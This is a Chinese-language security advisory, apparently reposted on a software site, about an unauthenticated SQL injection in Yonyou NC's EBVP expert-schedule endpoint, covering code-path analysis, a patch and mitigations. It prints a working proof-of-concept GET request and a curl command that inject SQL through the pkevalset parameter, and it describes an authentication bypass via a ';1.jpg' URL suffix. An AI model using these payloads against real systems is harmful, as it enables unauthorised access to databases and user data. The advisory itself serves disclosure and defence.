LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

用友NC系统SQL注入漏洞安全通告

admin
2025年4月12日 19:12 本文热度 196

用友NC系统SQL注入漏洞安全通告

一、漏洞概述

漏洞编号:暂未分配
漏洞类型:SQL注入
影响组件:电子商务平台(EBVP模块)
危险等级:高危
CVSS评分:9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


二、漏洞详情

1. 漏洞成因

通过/ebvp/expeval/expertschedule;1.jpg接口传递可控参数pkevalset时,后端代码未对输入进行有效过滤,导致攻击者可构造恶意SQL语句实现任意数据查询。 下图为用友NC漏洞预警(发现24年的老洞了(资产几乎打补丁了),闲着没事分析下)

关键代码路径

// EvalScheduleController.java
public String expertschedule(@RequestParam String pkevalset) {
    return evalScheduleService.getEvalSetScheInfoByPk(pkevalset);
}

// EvalScheduleQueryServiceImpl.java
public List<EvalSetVO> getEvalSetScheInfoByPk(String pk) {
    return iEvalSetWsQueryService.getEvalSetScheInfoByPk(pk); // 未过滤直接传参
}

// MDBaseDAO.java
public List<Object> queryBillsImp(String whereCondStr) {
    String sql = "SELECT * FROM eval_schedule WHERE pk = '" + whereCondStr + "'"// 直接拼接
    return mdbaseDao.retrieveByClouse(sql); // 执行SQL
}

2. 技术细节

  • 注入点分析pkevalset参数在5层方法调用后被拼接入SQL语句. 根据漏洞预警定位到具体路由,简单看下Ebvp业务下的过滤器 EbvpRequestFilter
  • 我们只需要 URL 里有这些后缀或者url 就可以绕过权限校验(懂的都懂) 接下来定位到 EvalScheduleController 控制器下 expertschedule 属性的具体方法先传参“pkevalset”(无限制),调用 service 对象的getEvalSetScheInfoByPk 方法

跟进 getEvalSetScheInfoByPk 方法,定位到 EvalScheduleQueryServiceImpl 类 可以看到类方法 getEvalSetScheInfoByPk 调用了 IEvalSetWsQueryService 实例的getEvalSetScheInfoByPk 方法

继续跟进IEvalSetWsQueryService 实例的 getEvalSetScheInfoByPk 方法 调用 this.queryMDVOByPks 方法进行数据查询

往上翻翻 EvalSetQueryServiceImpl 继承自 DefaultQueryServiceImpl

故DefaultQueryServiceImpl 类大概率定义了queryMDVOByPks方法,如下

到MDPersistenceService类中去找queryBillOfVOByCond方法,可以看到return到MDBaseDAO对象的queryBillOfVOByCond方法

跟进MDBaseDAO对象的queryBillOfVOByCond方法,new了一个VOQueryPersister对象调用queryBillsImp方法

跟进queryBillsImp方法,可以看到将whereCondStr参数拼接到SQL语句中,后续new一个MDMultiTableDAO 对象调用retrieveByClouse方法,将whereCondStr参数传入该方法

跟进retrieveByClouse方法,可以看到执行数据库查询操作

  • 绕过机制:通过1' OR 1=1--等经典注入语法绕过基础过滤
  • 数据暴露:可获取ALL_USERS表全量数据(示例POC)

三、影响评估

1. 受影响版本

  • 用友NC65全版本(含最新补丁版本)

  • 其他版本需结合代码审计确认

    已公布POC内容

GET /ebvp/expeval/expertschedule;1.jpg?pkevalset=1'+OR+1111%3d(SELECT+COUNT(*)+FROM+ALL_USERS+T1,ALL_USERS+T2,ALL_USERS+T3,ALL_USERS+T4,ALL_USERS+T5)-- HTTP/1.1
HTTP/1.1
Host:  

2. 攻击向量

  • 攻击方式:远程无身份验证攻击
  • 攻击目标:数据库敏感信息(用户账号、配置信息等)
  • 利用难度:低(公开POC可用)

四、修复方案

1. 官方补丁

补丁名称
补丁编码
校验码
发布日期
NC65专家调度请求防SQL注入补丁
NCM_NC6.5_000_109902_20240116_CP_399718758
f056abc8f5f7c5408f2c7abc21f07e4df2f80735ec1f11203f9dfbed49cdfe16
2024-01-16

部署步骤

  1. 登录用友NC控制台
  2. 进入【系统管理】→【补丁管理】
  3. 上传补丁文件并校验
  4. 重启应用服务器

2. 临时缓解措施

  • pkevalset参数进行严格的SQL注入过滤
  • 启用Web应用防火墙(WAF)规则拦截恶意请求
  • 限制接口访问权限至授权用户

五、验证方法

1. 漏洞复现(仅供测试环境)

curl -X GET \
  'http://target/ebvp/expeval/expertschedule;1.jpg?pkevalset=1%27+OR+1%3D1--' \
  -H 'Host: example.com'

成功特征:返回包含ALL_USERS表数据的响应

2. 补丁验证

SELECT version FROM ncm_patch WHERE patch_code = 'NCM_NC6.5_000_109902_20240116_CP_399718758';

若返回有效记录则表明补丁已安装


六、扩展分析

1. 攻击链推演

用户请求 → 参数注入 → SQL拼接 → 数据库执行 → 敏感数据回显

2. 类似漏洞预防建议

  • 实施OWASP ESAPI输入验证框架
  • 使用JPA/Hibernate等ORM框架的预编译功能
  • 建立定期代码安全审计机制

七、参考资料

  1. 用友官方安全公告:https://www.yonyou.com/security
  2. SQL注入防护指南:OWASP Cheat Sheet Series
  3. CVE-2024-XXXX(待分配)

:本文档涉及攻击技术仅用于授权渗透测试和安全研究,请遵守相关法律法规。


阅读原文:https://mp.weixin.qq.com/s/7YAlGWyQH_jkVjPWjNvNPA


该文章在 2025/4/14 9:27:28 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2025 ClickSun All Rights Reserved